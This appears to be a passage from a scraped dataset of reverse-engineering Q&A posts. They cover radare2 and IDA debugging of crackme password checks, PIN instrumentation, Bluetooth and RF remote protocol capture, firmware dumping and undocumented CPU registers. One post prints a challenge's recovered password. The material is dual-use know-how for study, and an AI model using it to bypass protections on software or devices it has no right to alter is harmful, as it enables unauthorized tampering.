+|           0x004017b6      c9             leave
+\           0x004017b7      c3             ret
+[0x00401700]>
+
+ +Now I can see that the instruction | ========< 0x0040178f 7519 jne 0x4017aa compare the password with the parameter passed as argument. +I would like now put a breakpoint on the jne instruction but I can't because the memory is unmapped. I execute the command to execute the program : + +
ood ABadPassword
+db 0x0040178f
+dc
+
+ +The result is : + +
[0x771ece30]> dc
+(5448) loading library at 77180000 (C:\Windows\SysWOW64\ntdll.dll) ntdll.dll
+(5448) unloading library at 000C0000 (not cached) not cached
+(5448) unloading library at 75580000 (not cached) not cached
+(5448) unloading library at 00610000 (not cached) not cached
+(5448) loading library at 75580000 (C:\Windows\SysWOW64\kernel32.dll) kernel32.dll
+(5448) loading library at 73A60000 (C:\Windows\SysWOW64\KernelBase.dll) KernelBase.dll
+(5448) loading library at 74060000 (C:\Windows\SysWOW64\msvcrt.dll) msvcrt.dll
+
+ +I don't understand why I don't hit the break point. Also, I am obligated to execute twice the dc command to see : wrong password. +My goal is to change the rip next addess. +" +['assembly']," Title: Meaning of cmp byte ptr [EBP-9], 0Body: Looking to find the meaning of this statement. From what I understand its comparing 0 with value of EBP register - 9, but I don't understand what the byte ptr does. +" +['pintool']," Title: how to get per-function memory accesses using PIN toolBody: I am modifying PIN's proccount sample to get the memory access information per function + +
 VOID Routine(RTN rtn, VOID *v)
+{
+
+    // Allocate a counter for this routine
+    RTN_COUNT * rc = new RTN_COUNT;
+    rc->_name = RTN_Name(rtn);
+    rc->_image = StripPath(IMG_Name(SEC_Img(RTN_Sec(rtn))).c_str());
+    rc->_address = RTN_Address(rtn);
+
+    rc->_next = RtnList;
+    RtnList = rc;
+
+    RTN_Open(rtn);
+fprintf(trace,""%s\n"",rc->_name.c_str());( writing functio name )
+     RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &(rc->_rtnCount), IARG_END);
+       // RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)RecordMemRead1, &(rc->_name),rc->_address, IARG_END);(this gave an error)
+        // For each instruction of the routine
+        for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))
+        {
+
+        UINT32 memOperands = INS_MemoryOperandCount(ins);
+    // Iterate over each memory operand of the instruction.
+         for (UINT32 memOp = 0; memOp < memOperands; memOp++)
+    {
+        if (INS_MemoryOperandIsRead(ins, memOp))
+        {
+            INS_InsertPredicatedCall(
+                ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead,
+                IARG_INST_PTR,
+                IARG_MEMORYOP_EA,memOp,IARG_END); (file trace is modified here)
+
+        }
+    }
+    }
+
+    RTN_Close(rtn);
+}
+
+ +I am getting output like: + +
dl_find_dso_for_object
+__get_cpu_features
+__libc_memalign
+malloc
+calloc
+free
+realloc
+0   0x7fcecff419dd  :R  0x7fced0165e70
+0   0x7fcecff419e7  :R  0x7fced0166000
+0   0x7fcecff41a57  :R  0x7fced0165e80
+0   0x7fcecff41a57  :R  0x7fced0165e90
+0   0x7fcecff41a57  :R  0x7fced0165ea0
+0   0x7fcecff41a57  :R  0x7fced0165eb0
+0   0x7fcecff41a57  :R  0x7fced0165ec0
+
+ +I need per-function memory list like: + +
dl_find_dso_for_object
+0   0x7fcecff419dd  :R  0x7fced0165e70
+    0   0x7fcecff419e7  :R  0x7fced0166000
+    0   0x7fcecff41a57  :R  0x7fced0165e80
+    0   0x7fcecff41a57  :R  0x7fced0165e90
+;;;
+malloc
+0x7fcecff41a57  :R  0x7fced0165ea0
+    0   0x7fcecff41a57  :R  0x7fced0165eb0
+    0   0x7fcecff41a57  :R  0x7fced0165ec0
+
+ +How can I achieve it? +" +"['serial-communication', 'protocol', 'bluetooth']"," Title: UE Megaboom serial protocolBody: I recently got a UE Megaboom Bluetooth speaker. Apart from various audio profiles, I noticed the speaker also exposes a Serial Port BT profile. I suspect this is the channel the app uses to control the speaker’s advanced features. + +I have tried to connect to the port using a terminal app, using various baud rates and sending it ?<CR><LF> and AT?<CR><LF>, respectively—to no avail. The speaker will not return a single bit of data. + +A web search on the most common terms did not return any useful information on the protocol used. + +Is there any information out there on the protocol used by the Megaboom? Or does anyone know of any attempts at decoding it? + +
+ +I now have some captured traffic from the official app. BTW, if another device is holding the serial port connection, the app will not recognize the speaker, corroborating my suspicion that SPP is the control channel. + +In two captures I see that initially the app sends 02 00 06 (hex) over the SPP connection, to which the speaker responds with <CR><NUL><BEL>MEGABOOM (three control characters followed by the product name as a string). + +When I connect to the speaker’s SPP and send these three characters (using moserial, sending input as hex), the speaker does not respond at all. Any ideas? +" +"['firmware', 'operating-systems', 'dump']"," Title: How to dump firmware from car head-unit (VW Radio)Body: I have a VW Radio which has the possibility to upgrade software via USB. Unfortunately I am not able to find any updates, nor any information regarding the current Software version on the whole internet. So I decided to try to dump the files directly from the unit. My question is how can I perform the dump without physically removing the EEPROM from the board. Is there any possibility to access something through the USB port? + +Its market name is RCD 320 on european Market and RCN 210 on Asian market. I do not know what is inside of the unit - as far as I have seen searching the internet, some VW units are using ARM processors and Linux 3.0.5, but this is everything I know so far, as there is no information about these units (neither regarding the SW, nor the HW). + +Any guidance would be appreciated as I am a new in this domain, but I have some electronic skills and also programming skills. +" +"['ida', 'debugging', 'arguments']"," Title: Show arguments while debuggingBody: I am a developer but I do not have much experience with IDA/reverse-engineering. Now I have to analyse a compiled program. +Currently I try to debug a simple wininet.dll:wininet_InternetReadFile-function and I wonder: where can I see the concrete arguments for this function while debugging? + +Currently I am at this point: + + + +I am pretty sure you can (almost) see the arguments (or at least its address) in this screenshot. But I am a beginner in reverse engineering. I don't get it/don't see it. + +What is the easiest/best way to get the URL that should be downloaded in this case? +" +"['malware', 'python', 'process']"," Title: capturing the sub processes's PID of a processBody: When a program is executed, some processes may be created by the parent process. Especially, if a program is malware, created (or forked or even injected) sub-processes will be named as a systemic process such as svchost.exe. +Is there any way to capture the PID of sub-processes in windows? +" +"['ida', 'assembly', 'ida-plugin']"," Title: How to identify base64 encode/decode in assemblyBody: How to identify in assembly base 64 encode/decode with Ida. Is there any magic constant that I can search? Or maybe a plugin that find that? + +FindCrypt2 Ida plugin not find that +" +"['c', 'buffer-overflow', 'stack']"," Title: Why dont use memcpy?Body: Why using memcpy can cause to stack overFlow? + +memcpy get the number of bytes to copy, so what is the problem , and how memcpy_s fix it? +" +"['firmware', 'decryption', 'ios', 'kernel']"," Title: How to identify which iOS kernelcache is installed?Body: I've an iPhone7 running iOS11.3 (15E216). The ipsw for this build version contains two separate kernelcache files named kernelcache.release.iphone9 and kernelcache.release.iphone10. Neither file is an exact match for the kernel installed at /System/Library/Caches/com.apple.kernelcaches/kernelcache. What process does Apple perform on the ipsw kernelcache to produce the installed kernelcache? How do I identify which kernelcache is the one installed on my phone? +" +"['binary-analysis', 'radare2', 'binary', 'breakpoint']"," Title: rip adress not visible with dr commandBody: I just finished this challenge. This is the content of main function : + +
[0x08048a86]> pdf
+/ (fcn) main 417
+|   main (int argc, char **argv, char **envp);
+|           ; var int local_16h @ ebp-0x16
+|           ; var int local_15h @ ebp-0x15
+|           ; var int local_14h @ ebp-0x14
+|           ; var int local_10h @ ebp-0x10
+|           ; var int local_ch @ ebp-0xc
+|           ; var int local_8h_2 @ ebp-0x8
+|           ; var char *local_4h @ esp+0x4
+|           ; var int local_8h @ esp+0x8
+|           ; DATA XREF from entry0 (0x80488a7)
+|           0x08048a86      8d4c2404       lea ecx, [local_4h]         ; 4
+|           0x08048a8a      83e4f0         and esp, 0xfffffff0
+|           0x08048a8d      ff71fc         push dword [ecx - 4]
+|           0x08048a90      55             push ebp
+|           0x08048a91      89e5           mov ebp, esp
+|           0x08048a93      53             push ebx
+|           0x08048a94      51             push ecx
+|           0x08048a95      83ec20         sub esp, 0x20
+|           0x08048a98      89cb           mov ebx, ecx
+|           0x08048a9a      833b01         cmp dword [ebx], 1
+|       ,=< 0x08048a9d      7f4f           jg 0x8048aee
+|       |   0x08048a9f      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
+|       |   0x08048aa2      8b18           mov ebx, dword [eax]
+|       |   0x08048aa4      c7442404b18d.  mov dword [local_4h], str.usage_: ; [0x8048db1:4]=0x67617375 ; ""usage : ""
+|       |   0x08048aac      c7042460b004.  mov dword [esp], obj._ZSt4cerr__GLIBCXX_3.4 ; [0x804b060:4]=0
+|       |   0x08048ab3      e838fdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|       |   0x08048ab8      895c2404       mov dword [local_4h], ebx
+|       |   0x08048abc      890424         mov dword [esp], eax
+|       |   0x08048abf      e82cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|       |   0x08048ac4      c7442404ba8d.  mov dword [local_4h], str.password ; [0x8048dba:4]=0x73617020 ; "" password""
+|       |   0x08048acc      890424         mov dword [esp], eax
+|       |   0x08048acf      e81cfdffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|       |   0x08048ad4      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+|       |   0x08048adc      890424         mov dword [esp], eax
+|       |   0x08048adf      e85cfdffff     call sym.std::ostream::operator___std::ostream_____std::ostream
+|       |   0x08048ae4      bb05000000     mov ebx, 5
+|      ,==< 0x08048ae9      e92b010000     jmp 0x8048c19
+|      ||   ; CODE XREF from main (0x8048a9d)
+|      |`-> 0x08048aee      8d45eb         lea eax, [local_15h]
+|      |    0x08048af1      890424         mov dword [esp], eax
+|      |    0x08048af4      e867fdffff     call sym.std::allocator_char_::allocator
+|      |    0x08048af9      8d45eb         lea eax, [local_15h]
+|      |    0x08048afc      89442408       mov dword [local_8h], eax
+|      |    0x08048b00      c7442404c48d.  mov dword [local_4h], 0x8048dc4 ; [0x8048dc4:4]=0xca15d618
+|      |    0x08048b08      8d45f4         lea eax, [local_ch]
+|      |    0x08048b0b      890424         mov dword [esp], eax
+|      |    0x08048b0e      e80dfdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const
+|      |    0x08048b13      8d45ea         lea eax, [local_16h]
+|      |    0x08048b16      890424         mov dword [esp], eax
+|      |    0x08048b19      e842fdffff     call sym.std::allocator_char_::allocator
+|      |    0x08048b1e      8d45ea         lea eax, [local_16h]
+|      |    0x08048b21      89442408       mov dword [local_8h], eax
+|      |    0x08048b25      c7442404cc8d.  mov dword [local_4h], 0x8048dcc ; [0x8048dcc:4]=0xaf67b350
+|      |    0x08048b2d      8d45f0         lea eax, [local_10h]
+|      |    0x08048b30      890424         mov dword [esp], eax
+|      |    0x08048b33      e8e8fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const
+|      |    0x08048b38      8d45ec         lea eax, [local_14h]
+|      |    0x08048b3b      8d55f4         lea edx, [local_ch]
+|      |    0x08048b3e      89542408       mov dword [local_8h], edx
+|      |    0x08048b42      8d55f0         lea edx, [local_10h]
+|      |    0x08048b45      89542404       mov dword [local_4h], edx
+|      |    0x08048b49      890424         mov dword [esp], eax
+|      |    0x08048b4c      e83cfeffff     call sym.plouf_std::string_std::string
+|      |    0x08048b51      83ec04         sub esp, 4
+|      |    0x08048b54      8d45f0         lea eax, [local_10h]
+|      |    0x08048b57      890424         mov dword [esp], eax
+|      |    0x08048b5a      e8a1fcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+|      |    0x08048b5f      8d45ea         lea eax, [local_16h]
+|      |    0x08048b62      890424         mov dword [esp], eax
+|      |    0x08048b65      e8c6fcffff     call sym.std::allocator_char_::_allocator
+|      |    0x08048b6a      8d45f4         lea eax, [local_ch]
+|      |    0x08048b6d      890424         mov dword [esp], eax
+|      |    0x08048b70      e88bfcffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+|      |    0x08048b75      8d45eb         lea eax, [local_15h]
+|      |    0x08048b78      890424         mov dword [esp], eax
+|      |    0x08048b7b      e8b0fcffff     call sym.std::allocator_char_::_allocator
+|      |    0x08048b80      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
+|      |    0x08048b83      83c004         add eax, 4
+|      |    0x08048b86      8b00           mov eax, dword [eax]
+|      |    0x08048b88      89442404       mov dword [local_4h], eax
+|      |    0x08048b8c      8d45ec         lea eax, [local_14h]
+|      |    0x08048b8f      890424         mov dword [esp], eax
+|      |    0x08048b92      e860010000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst
+|      |    0x08048b97      84c0           test al, al
+|      |,=< 0x08048b99      744a           je 0x8048be5
+|      ||   0x08048b9b      c7442404fc8d.  mov dword [local_4h], str.Bravo__tu_peux_valider_en_utilisant_ce_mot_de_passe... ; [0x8048dfc:4]=0x76617242 ; ""Bravo, tu peux valider en utilisant ce mot de passe...""
+|      ||   0x08048ba3      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+|      ||   0x08048baa      e841fcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|      ||   0x08048baf      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+|      ||   0x08048bb7      890424         mov dword [esp], eax
+|      ||   0x08048bba      e881fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream
+|      ||   0x08048bbf      c7442404348e.  mov dword [local_4h], str.Congratz._You_can_validate_with_this_password... ; [0x8048e34:4]=0x676e6f43 ; ""Congratz. You can validate with this password...""
+|      ||   0x08048bc7      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+|      ||   0x08048bce      e81dfcffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|      ||   0x08048bd3      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+|      ||   0x08048bdb      890424         mov dword [esp], eax
+|      ||   0x08048bde      e85dfcffff     call sym.std::ostream::operator___std::ostream_____std::ostream
+|     ,===< 0x08048be3      eb24           jmp 0x8048c09
+|     |||   ; CODE XREF from main (0x8048b99)
+|     ||`-> 0x08048be5      c7442404658e.  mov dword [local_4h], str.Password_incorrect. ; [0x8048e65:4]=0x73736150 ; ""Password incorrect.""
+|     ||    0x08048bed      c7042400b104.  mov dword [esp], obj._ZSt4cout__GLIBCXX_3.4 ; [0x804b100:4]=0
+|     ||    0x08048bf4      e8f7fbffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst
+|     ||    0x08048bf9      c74424045088.  mov dword [local_4h], sym.std::basic_ostream_char_std::char_traits_char___std::endl_char_std::char_traits_char___std::basic_ostream_char_std::char_traits_char ; [0x8048850:4]=0xb04425ff
+|     ||    0x08048c01      890424         mov dword [esp], eax
+|     ||    0x08048c04      e837fcffff     call sym.std::ostream::operator___std::ostream_____std::ostream
+|     ||    ; CODE XREF from main (0x8048be3)
+|     `---> 0x08048c09      bb00000000     mov ebx, 0
+|      |    0x08048c0e      8d45ec         lea eax, [local_14h]
+|      |    0x08048c11      890424         mov dword [esp], eax
+|      |    0x08048c14      e8e7fbffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
+|      |    ; CODE XREF from main (0x8048ae9)
+|      `--> 0x08048c19      89d8           mov eax, ebx
+|       ,=< 0x08048c1b      eb75           jmp 0x8048c92
+..
+|       |   ; CODE XREF from main (0x8048c1b)
+|       `-> 0x08048c92      8d65f8         lea esp, [local_8h_2]
+|           0x08048c95      59             pop ecx
+|           0x08048c96      5b             pop ebx
+|           0x08048c97      5d             pop ebp
+|           0x08048c98      8d61fc         lea esp, [ecx - 4]
+\           0x08048c9b      c3             ret
+
+ +I solved it by placing a breakpoint to 0x08048b99 adress and printing the stack when I hit it using the command pxr @ esp +The result was : + +0xffe4a170 0xffe4a184 .... @esp stack R W 0x9f61c8c --> (Here_you_have_to_understand_a_little_C++_stuffs) +0xffe4a174 0xffe4b367 g... edx stack R W 0x43007373 (ss) --> ascii + +So now, I would like to solve this challenge again in a different way. I have two questions. + +First question : At first, before solve it by this way, I tried to put breakpoint on each comparaison function and my idea was to change the rip adress like in this video. +The problem in my case is when I enter the command dr, I don't have the rip adress. This is the output I have : + +
hit breakpoint at: 8048b99
+[0x08048b99]> dr
+eax = 0xffffff00
+ebx = 0xffceafa0
+ecx = 0x00000004
+edx = 0xffceb365
+esi = 0xf7d54000
+edi = 0xf7d54000
+esp = 0xffceaf60
+ebp = 0xffceaf88
+eip = 0x08048b99
+eflags = 0x00000246
+oeax = 0xffffffff
+
+ +Why I don't have the rip value ? Can you explain me how can I do that if is it possible ? + +Second question : Is there a command in radare2 which I don't know and which allows me to print directly the value of obj._ZSt4cout__GLIBCXX_3.4 +" +"['api', 'law', 'development']"," Title: Reverse Engineering Grocery Software APIBody:

Introduction

+ +So I have a peer to peer app that allows customers to request jobs at their own price and have the job fulfilled by a freelancer in the community. The common jobs requested as of recent are home improvement gigs and lawn care things. We plan on releasing a new feature that allows customers to request groceries through the app to be delivered to them as well. + +

Summary of The Problem

+ +The grocery company we are using has open source documentation for parts of their api, however some of the documentation is missing components we need to successfully integrate the feature into our app. So for the missing components I have reverse engineered some components of the software that aren't included within the public documentation and plan on integrating it into our app. I haven't fully finished the reverse engineering, as I am a quarter of the way done but: + + + +Thanks in advance. +" +"['ida', 'binary-analysis', 'x86', 'static-analysis']"," Title: IDA - large jump table, missing cases in analysisBody: I have come across the following jump table with a large amount of cases (160+). There seems to be cases missing from IDAs analysis though. For example it skips from cases 22 -> 38 -> 91, and I can see about 10 cases total. + + + +
    +
  1. Can I expect all switch cases to take up sequential memory? Is it possible the cases aren't missing, just located elsewhere in memory?
  2. +
  3. If they are normally sequential, is IDA just misinterpreting the cases?
  4. +
  5. Can anyone please explain why there are a large amount of cases belonging to this jumptable but I only see a select few?
  6. +
+ +Instructions around 0052B970, it is the disasm located immediately above the screenshot: + +
.text:0052B932                loc_52B932:                             ; CODE XREF: sub_52B920+9↑j
+.text:0052B932 8A 01                          mov     al, [ecx]
+.text:0052B934 3C B5                          cmp     al, 0B5h
+.text:0052B936 73 F3                          jnb     short loc_52B92B
+.text:0052B938 0F B6 D0                       movzx   edx, al
+.text:0052B93B 8B 04 95 E8 0A+                mov     eax, dword_730AE8[edx*4]
+.text:0052B942 85 C0                          test    eax, eax
+.text:0052B944 57                             push    edi
+.text:0052B945 8B 7D 08                       mov     edi, [ebp+arg_0]
+.text:0052B948 89 07                          mov     [edi], eax
+.text:0052B94A 75 06                          jnz     short loc_52B952
+.text:0052B94C 5F                             pop     edi
+.text:0052B94D 5E                             pop     esi
+.text:0052B94E 5D                             pop     ebp
+.text:0052B94F C2 04 00                       retn    4
+.text:0052B952                ; ---------------------------------------------------------------------------
+.text:0052B952
+.text:0052B952                loc_52B952:                             ; CODE XREF: sub_52B920+2A↑j
+.text:0052B952 85 C0                          test    eax, eax
+.text:0052B954 53                             push    ebx
+.text:0052B955 0F 8D DC 01 00+                jge     loc_52BB37
+.text:0052B95B 8D 42 EA                       lea     eax, [edx-16h]  ; switch 158 cases
+.text:0052B95E 3D 9D 00 00 00                 cmp     eax, 9Dh
+.text:0052B963 0F 87 C8 01 00+                ja      loc_52BB31      ; jumptable 0052B970 default case
+.text:0052B969 0F B6 80 80 BB+                movzx   eax, ds:byte_52BB80[eax]
+.text:0052B970 FF 24 85 44 BB+                jmp     ds:off_52BB44[eax*4] ; switch jump
+.text:0052B977                ; ---------------------------------------------------------------------------
+.text:0052B977
+.text:0052B977                loc_52B977:                             ; CODE XREF: sub_52B920+50↑j
+.text:0052B977                                                        ; DATA XREF: .text:off_52BB44↓o
+.text:0052B977 83 FE 0D                       cmp     esi, 0Dh        ; jumptable 0052B970 case 22
+.text:0052B97A 72 4A                          jb      short loc_52B9C6
+.text:0052B97C 0F B7 49 01                    movzx   ecx, word ptr [ecx+1]
+.text:0052B980 5B                             pop     ebx
+.text:0052B981 89 0F                          mov     [edi], ecx
+.text:0052B983 5F                             pop     edi
+.text:0052B984 B8 01 00 00 00                 mov     eax, 1
+.text:0052B989 5E                             pop     esi
+.text:0052B98A 5D                             pop     ebp
+.text:0052B98B C2 04 00                       retn    4
+
+ +Thanks. +" +"['x86', 'intel', 'bios']"," Title: Undocumented MSR Machine Specific registerBody:
+I'm reversing the BIOS of my laptop, for fun and for learning something new.
+Inside it, I just stepped into this piece of code: + +
mov     ecx, 13Ah
+rdmsr
+and     eax, 1
+jnz     SkipCacheAsRAM
+
+ +Looking on the Intel datasheet ""Intel 64 and IA-32 Architectures Software Developer’s Manual"", I couldn't find any clue about it, but seems like that in this BIOS release, its value is essential the determine if a key feature such as 'cache as RAM' have to be initialized using an approach or another. +I checked also on the AMD equivalent datasheet, even though I'm sure the MotherBoard is only for Intel CPUs.
+Does anyone indicate me an alternative source(s) where to search what this 0x13a register does?
+" +"['android', 'serial-communication', 'sniffing', 'bluetooth']"," Title: Sniffing serial Bluetooth traffic on AndroidBody: Related to UE Megaboom serial protocol: I am trying to get some insights on the serial protocol spoken by the UE Megaboom, which I suspect is how the app controls the advanced features of the speaker. + +One approach would be to install the app on an Android VM, connect to the speaker and capture the traffic exchanged. + +With VirtualBox, I would probably need to connect a Bluetooth dongle as a USB device and let the VM control it. + +How can I capture the serial traffic exchanged between the speaker and the app? +" +"['ida', 'windows', 'c#', 'exe']"," Title: How to export function from exe file?Body: I open exe file (running on Windows) in Ida , and saw a function (for example sub_ABC) that I want to export , so I can call this function from c# code. + +
    +
  1. How can I export function that I Know the name that Ida gave to it , (by the offset) ?
  2. +
  3. Do I need to see how the arguments pass to this function (stack/register) so I will know the calling convention when I call it via c# , yes? Ida can tell me what is the calling convention of spesific function?
  4. +
+" +"['debugging', 'hardware', 'flash']"," Title: Motorola Freescale mpc564 microcontrollerBody: Im hoping somebody here can give me some advice. Im trying to read the flash contents of a Mpc564 Motorola MCU. The flash size is 512KB The processor was removed from a bad circuit board. Is there a way to read the flash after the MCU has been removed from the board. Any help would be appreciated. + +" +"['crc', 'hash-functions']"," Title: Identification of RF hash algorithmBody: I have an unbranded LED lamp with a remote control. I would like to reverse the protocol of the remote but unfortunately I can't create my own packages. The frequency of the remote transceiver is 2.4GHz (PA = 6dBm, channel = 1) so I used an NRF24 for collecting the frames from a button. When I 'replay' the collected messages the lamp reacts as expected.
+As I observed the preamble is 5 bytes long and in the end of packet there is a 2 bytes long hash, probably a CRC16. (I think it should be some kind of hash because one bit change in the packet generates totally different value in last 2 bytes position.) Unfortunately I couldn't identify the type of transceiver so I cannot figure out the packet format. I tried to reverse the hash with various methods but without luck. + +Do you have any idea what is the hash algorithm? + +There are some test vectors from the same button. + +
aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  00 21  00 60 1f 55  57  84 c1
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  00 e1  00 60 1f 55  56  c4 cc
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  01 21  00 60 1f 55  56  86 95
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  01 e1  00 60 1f 55  55  c4 de
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 41  00 60 1f 55  55  75 64
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 61  00 60 1f 55  55  40 6c
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 81  00 60 1f 55  55  25 48
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 c1  00 60 1f 55  54  f5 6d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 c1  00 60 1f 55  54  f5 6d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  03 61  00 60 1f 55  54  42 38
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 01  00 60 1f 55  53  b8 9b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 01  00 60 1f 55  53  b8 9b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 21  00 60 1f 55  53  8d 93
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 41  00 60 1f 55  53  78 9f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 61  00 60 1f 55  53  4d 97
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 61  00 60 1f 55  53  4d 97
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 81  00 60 1f 55  53  28 b3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 81  00 60 1f 55  53  28 b3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 01  00 60 1f 55  52  ba cf
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 81  00 60 1f 55  52  2a e7
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 a1  00 60 1f 55  52  1f ef
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  06 61  00 60 1f 55  51  49 3e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  06 61  00 60 1f 55  51  49 3e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 21  00 60 1f 55  50  8b 6e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 a1  00 60 1f 55  50  1b 46
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 c1  00 60 1f 55  4f  e3 88
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 01  00 60 1f 55  4f  b1 5d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 61  00 60 1f 55  4f  44 51
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  09 41  00 60 1f 55  4e  73 0d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  09 21  00 60 1f 55  4e  86 01
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 41  00 60 1f 55  4d  75 f0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 61  00 60 1f 55  4d  40 f8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 81  00 60 1f 55  4d  25 dc
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 01  00 60 1f 55  4c  b7 a0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 21  00 60 1f 55  4c  82 a8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 41  00 60 1f 55  4c  77 a4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 41  00 60 1f 55  4c  77 a4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 61  00 60 1f 55  4c  42 ac
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 21  00 60 1f 55  4b  8d 07
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 61  00 60 1f 55  4b  4d 03
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 61  00 60 1f 55  4b  4d 03
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 81  00 60 1f 55  4b  28 27
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c c1  00 60 1f 55  4a  f8 02
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c c1  00 60 1f 55  4a  f8 02
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c e1  00 60 1f 55  4a  cd 0a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c e1  00 60 1f 55  4a  cd 0a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0d 01  00 60 1f 55  4a  ba 5b
